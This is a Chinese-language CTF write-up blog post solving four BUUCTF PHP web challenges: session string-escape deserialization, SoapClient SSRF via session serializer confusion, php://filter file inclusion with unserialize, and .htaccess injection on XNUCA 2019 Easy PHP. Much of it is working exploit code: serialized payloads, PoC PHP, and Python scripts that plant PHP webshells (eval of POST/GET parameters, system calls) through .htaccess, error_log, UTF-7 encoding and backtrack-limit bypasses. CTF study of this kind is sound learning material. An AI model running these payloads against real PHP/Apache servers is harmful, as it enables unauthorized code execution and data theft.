BUU刷题01

[安洵杯 2019]easy_serialize_php

直接给了源代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

提示查看phpinfo

发现d0g3_f1ag.php,就是需要读取的flag文件

这道题其实就是php字符串逃逸。0ctf中的piapiapia已经出现过了。

原理:通过字符串的增减,逃逸",构造payload,将已经设定好的img挤出去。达到构造前面的变量就可以修改已设定好的变量

这里因为有extract所以我们有两个可控变量,一个SESSION[user],一个SESSION[function],这两个变量覆盖后不会再改变,SESSION[img]我们是改变不了的,是再变量覆盖后赋值。

来看一下最开始的

这里我们需要把img挤出去,先构造下function,挤出去img,插入我们自己设定好的

payload:

_SESSION[user]=yunying&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

可以看到这里如果是设置user和 function的话,光靠function是逃不出去的,因为有43个字符,并且这里是过滤为空而不是0CTF里的替换->增量,这里依然会把构造的img后面的给包括进来,如何不包括到;s:3"img",xxxx这些呢。

这里就可以用到user,通过user和function的字符串计算,在user的第二个"开始到function键值的第一个"的结束,这样就可以把function后面的s:""包含进来,就不会影响到下一个键img了。

这里比较懒,直接分析下别的师傅的payload

第一种:键值逃逸

payload

function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}

本地搭建环境,未过滤前

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后

a:3:{s:4:"user";s:24:"";s:8:"function";s:60:"p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

上面也说到了需要计算字符在user的第二个"开始到function键值的第一个"的结束。

所以这里应该计算的是

";s:8:"function";s:60:"

一共是23个字符,但是这里是

";s:8:"function";s:60:"p

因为过滤为空的字符中,有4位和3位的,这里全用4位的,不过还需要多加一个字符。

加ab这个键值对,是因为这里前提是a:3,数组中需要有三个键值对,因此只要补上一个任意的键值对即可。

第二种方法:键名逃逸

这个是我没想到的,extract的东西,extract里面规定的是数组,但是当我们传入的是二维数组的键值时候,只会覆盖变量的当前的键值对,其他的都会为空。

举例如下:

 

 

payload:

_SESSION[flagphp]=;s:2:"db";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

这里更加简单,只需要将这七个字符包含在内

";s:51:

所以替换flagphp这七个字符为空,就可以将上述字符包括在内。这里不需要多加键值对。

Bestphp’s revenge

这道题名字跟MRCTF最后一题有点像啊,题目也基本差不多。

进入源码如下:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

分析下逻辑:

post参数值作为$_GET['f']参入值回调函数的参数

get传入name赋值Session name参数

然后获取session数组的第一个参数值,与'welcome_to_the_lctf2018'组成数组

再通过回调函数的作用作为implode的参数,讲数组打散连接成字符串

这里我的想法是,是不是要传入extract,变量覆盖利用system去找。没有找到思路,又不像是是soapclient原生类反序列化。这里看了WP,直接贴上题解

https://xz.aliyun.com/t/3341#toc-13

https://www.cnblogs.com/20175211lyz/p/11515519.html

https://cloud.tencent.com/developer/article/1376384

发现有flag.php的提示

<?php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!
>?

最后的思路是

利用回调函数覆盖session序列化引擎为php_serilaze,构造SSRF的Soap类的序列化字符串配合序列化注入写入session文件,然后利用变量覆盖漏洞,覆盖掉变量b为回调函数call_user_func,此时结合我刚开始所说的回调函数调用Soap类的未知方法,触发__call方法进行SSRF访问flag.php。把flag写入session,再把session打印出来即可。

这里分析一下思路,起点是要通过soapclient类去触发ssrf访问flag.php才能将flag写入session中,难点就是如何触发soapclient类。

分析:

0x01:

题解里说到是通过session存储的差异性,导致取出session对比时反序列化恶意payload,猜测flag.php存储方式应该是php,如果我们设置在index.php页面用php_serialize存储,通过增加一个|来达到触发后面的对象类soapclient的反序列化。所以第一步就是赋值session,call_user_func还可以将session_start作为回调函数,将serialize_handler的序列化方式作为参数。

构造如下赋值:

session_start(['serialize_handler'=>'php_serialize'])

0x02:

这里又有一个问题,就是如何让soapclient调用__call魔术方法,这里又回到index.php

$b = 'implode';
call_user_func
($_GET['f'], $_POST); call_user_func($b, $a);

这里需要用到变量覆盖的extract,不过有个trick,就是call_user_func的一个性质(7.1.x extract不能被动态调用)

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。 这里调用的回调函数不仅仅是我们自定义的函数,还可以是php的内置函数。比如下面我们会用到的extract。 这里需要注意当我们的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。

例如:

<?php
class myclass{
    static function say_hello(){
        echo "hello!";
    }
}
$classname = "myclass";
call_user_func(array($classname,'say_hello'));

结果就会调用类myclass中的say_hello方法,输出hello!

所以这里我需要以这种方式调用soapclient

call_user_func(array(SoapClient,'say_hello'));

这里就可以把b赋值为call_user_func,f赋值为extract,name赋值为SoapClient。调用如下

call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018'))

这样就可以令SoapClient调用到不存在的方法,触发自身的__call魔术方法

实现如下:

0x01首先POC用去访问index.php页面

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

这里就完成了覆盖序列化引擎为php_serialize,设置好了session

0x02再去访问index.php页面,这里session_start()用的序列化引擎是php,然后var_dump会反序列化Soapclient,call_user_func可以触发__call

0x03修改自己的session改成返回的PHPSESSID,再访问index.php获得flag

为了更加理解CRLF这里我实验了一下。location下注入可以直接

 

 

在php的header里使用会出现warning

header("location:".$_GET["url"]);

[ZJCTF 2019]NiZhuanSiWei

进入即源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

可以文件包含并且提示useless.php

payload

get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=../../../../../../var/www/html/useless.php&text=php://input

post:welcome to the zjctf

获得useless.php的源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

exp

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);  
?>

payload:

get:http://dd033352-eede-49f6-b541-491c9c96fa5b.node3.buuoj.cn/?file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}&text=php://input

post:welcome to the zjctf

[XNUCA2019]Easy PHP

进入即源码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

1.会遍历删除目录下除index.php外的文件

2.content中不能存在一些字符

3.filename必须是[a-z.]中的字符

4.最后以file_put_contents写入,filename作为文件名,content作为内容连接\nJust one chance

测试一下

http://40d8d782-5c07-41ee-bf36-fa01132a126b.node3.buuoj.cn/?content=<?php echo 123;>?&filename=abcd.php

并没有被解析啊,虽然是php。并且都已经遍历删除了,为什么还有包含文件呢。都是疑点。

这里用.htaccess的话,因该有换行数据干扰,会导致失败,我们可以用\去转义掉\n,使其变成字符串\n然后用#注释

预期解:

着重在include_once('fl3g.php'),如果结合.htaccess

这里可以利用.htaccess来改写php.ini的一些属性。

摘自php.net

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。

php_value``name``value

设定指定的值。只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。要清除先前设定的值,把 value 设为 none

Note: 不要用 php_value 设定布尔值。应该用 php_flag(见下面)。

php_flag``name``on|off

用来设定布尔值的配置指令。仅能用于 PHP_INI_ALL 和 PHP_INI_PERDIR 类型的指令。

php_admin_value``name``value

设定指定的指令的值。不能用于 .htaccess 文件。任何用 php_admin_value 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。要清除先前设定的值,把 value 设为 none

php_admin_flag``name``on|off

 

用来设定布尔值的配置指令。不能用于 .htaccess 文件。任何用 php_admin_flag 设定的指令都不能被 .htaccess 或 virtualhost 中的指令覆盖。

 

翻一下php的官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL即PHP_INI_PERDIR的配置项,我们可以注意到这样一个选项include_path

 

 

这个参数可以指定一个目录列表,其中require、include、fopen()、file()、readfile()和file_get_contents()函数在查找要包含的文件时,会分别考虑include路径中的每个条目。它将检查第一个路径,如果没有找到,则检查下一个路径,直到找到包含的文件或返回警告或错误。

所以想办法在其他目录下写入同名fl3g.php文件,并且里面包含我们的shell,然后通过设置此参数,让该文件可以成功包含fl3g.php从而getshell

这里filename有限制,无法用/去跨目录写,所以我们需要想办法。

查找所有php log相关的功能可以看到error_log这一选项

 

 

利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上

步骤讲解:

这里我们可以先将include_path设置为php语句,通过python脚本上传.htaccess。然后访问index.php后会出现错误,因为include_path的路径出错,这时错误信息会写到/tmp/f13g.php中,但这时页面时没有任何显示的。下一步就需要包含这个错误的日志信息,然后再去访问index.php才可以将信息显示到页面中,也就是我们需要两个操作,才能将我们想要输出的PHP语句包含到页面中。

这里虽然会遍历删除,但是上传后的第一次访问仍然会以.htaccss中的规则执行,第二次访问时已经没有.htaccess了。

通过如下脚本:

注:

error_reporting 32767指的是报告所有的可能出现的错误

1           E_ERROR             报告导致脚本终止运行的致命错误
2           E_WARNING       报告运行时的警告类错误(脚本不会终止运行)
4           E_PARSE             报告编译时的语法解析错误
8           E_NOTICE           报告通知类错误,脚本可能会产生错误
32767   E_ALL                  报告所有的可能出现的错误(不同的PHP版本,常量E_ALL的值也可能不同)
import requests
payload="""
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767 
php_value include_path "<?php phpinfo(); ?>"
# \\"""



#用完上面的,把上面的payload注入,把下面的注释解开 # payload=""" # php_value error_log /tmp/fl3g.php # php_value error_reporting 32767 # php_value include_path /tmp # # \\""" URL = "http://b4ecdf5d-ef89-444b-ac27-98b2a948a98e.node3.buuoj.cn/index.php" def upload_content(name, content): data = { "content" : content, "filename" : name, } return requests.get(URL, params=data) rep = upload_content(".htaccess", payload) print(rep.text)

 

 

可以发现<被html编码了

这里可以用UTF-7编码写入,然后利用.htaccess设置来解码,在SUCTF中的easy_web也有这样的方法。

第一次

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path '+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADs-' #<?php eval($_POST[yunying]);
# \\

第二次

php_value error_log /tmp/fl3g.php
php_value zend.multibyte 1 #支持多字符集编码
php_value zend.script_encoding "UTF-7" php_value include_path /tmp # \\

脚本如下:

import requests
PAYLOAD1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADwAPwBwAGgAcAAgAGUAdgBhAGwAKAAkAF8AUABPAFMAVABbAHkAdQBuAHkAaQBuAGcAXQApADsAPwA+-"
# \\"""

PAYLOAD2 = """php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\"""

URL = "http://86feb995-f4bf-4283-bae5-8b377c40d5b3.node3.buuoj.cn/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD1)
print(rep.text)

rep = upload_content(".htaccess", PAYLOAD2)
print(rep.text)

执行一次命令就需要先执行一次脚本,因为执行完一次命令,.htaccess就会被删除,所以需要脚本写入.htaccess,下次执行命令就可以包含上了

非预期解01

可以看到对于文件名的限制只可以a-z .字符,如果匹配到其他的字符就会返回true,绕过需要返回false。

 

if(preg_match("/[^a-z\.]/", $filename) == 1) {
  echo "Hacker2";
  die();
}

而根据正则回溯,当超过回溯次数,preg_matc就会返回false,因此可以通过将prce.backtrack_limit设置为0,超过回溯次数就会返回false

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

脚本如下:

import requests

PAYLOAD3 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\"""

PAYLOAD4 = """<?php phpinfo();?>"""

URL = "http://xxx/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD3)
print(rep.text)

rep = upload_content("fl3g.php", PAYLOAD4)
print(rep.text)

通过.htaccess设置回溯次数,在下次请求filename=f13g.php时生效,回溯限制变成0,然后filename就可以绕过,正则到1的时候,不属于[a-z].范围内,会进行回溯,只要回溯一次就算超过了回溯次数,导致preg_match返回false。

但是通过上面的方式,访问f13g.php,BUU靶机用这个exp打发现仍然是不被解析的,并且index.php也不会包含。不像.htaccess作用于当前目录。测试失败

陆队文章中还提了一下ROIS战队的做法:

ROIS 这里使用了一种比较复杂的方法,首先同样上传.htaccess把 pcre 回溯限制改成 0,然后使用 base64 写文件绕过stristr的判断,使用auto_append_file包含.htaccess,在.htaccess当中写注释 webshell 即可。

首先上传.htaccess,内容为:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

再次上传名为php://filter/write=convert.base64-decode/resource=.htaccess,内容为,

cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c

base64 解码的内容是

php_value pcre.backtrack_limit    0

php_value auto_append_file    ".htaccess"

php_value pcre.jit   0

#<?php eval($_GET[1]);?>\

Exp:

import requests

PAYLOAD5 = """php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \\"""

PAYLOAD6 = """cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKCnBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCgpwaHBfdmFsdWUgcGNyZS5qaXQgICAwCgojPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5c"""

URL = "http://zedd.cc/xnuca/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
        "1": "echo 'Done!';"
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD5)
print(rep.text)

rep = upload_content("php://filter/write=convert.base64-decode/resource=.htaccess", PAYLOAD6)
print(rep.text)

ROIS解法利用base64编码绕过stristr对于file字符串的限制,通过设置回溯绕过filename对于php://filter/write流字符串以base64解码的方式写入,然后通过auto_append_file,自动包含base64编码后的.htaccess的shell。

上面两个方法,第一个陆队的说的是不行的,因为conf文件里设置了当前目录不解析php除了index.php,所以get shell必须在index.php上动手脚。第二个ROIS的感觉才是正解。

非预期解02

既然能用\绕过最后的\n,同样我们也可以用来绕过stristr,而且不影响.htaccess的解析

lv4n师傅的payload:

import requests

url = 'http://64252b1b-326b-43dd-8dcf-e8afa7dff495.node1.buuoj.cn/'
r = requests.get(url+'?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20system(\'cat%20../../../fl[a]g\');?>\\')
print(r.text)

或者陆队的exp

import requests

PAYLOAD7 = """php_value auto_prepend_fi\\
le ".htaccess"
#<?php phpinfo();?>\\"""


URL = "http://xxx/index.php"

def upload_content(name, content):

    data = {
        "content" : content,
        "filename" : name,
    }

    return requests.get(URL, params=data)

rep = upload_content(".htaccess", PAYLOAD7)
print(rep.text)

 

这里又学习了一下apache如何在指定目录下禁止解析php。conf文件可以这样设置

DocumentRoot /var/www/html
php_admin_flag engine off
网上看到的写法:
<Directory "/var/www/html/upload">
php_admin_flag engine off
</Directory>

这里看了下题目docker中的设置如下:

 

htaccess相关:

相关网站:

PHP 运行于 Apache 模块方式

php.ini 配置选项列表

运行时配置

学习链接:

mrkaixin

XNUCA 2019 Qualifier Ezphp

posted @ 2020-04-23 13:01  yunying  阅读(656)  评论(0编辑  收藏  举报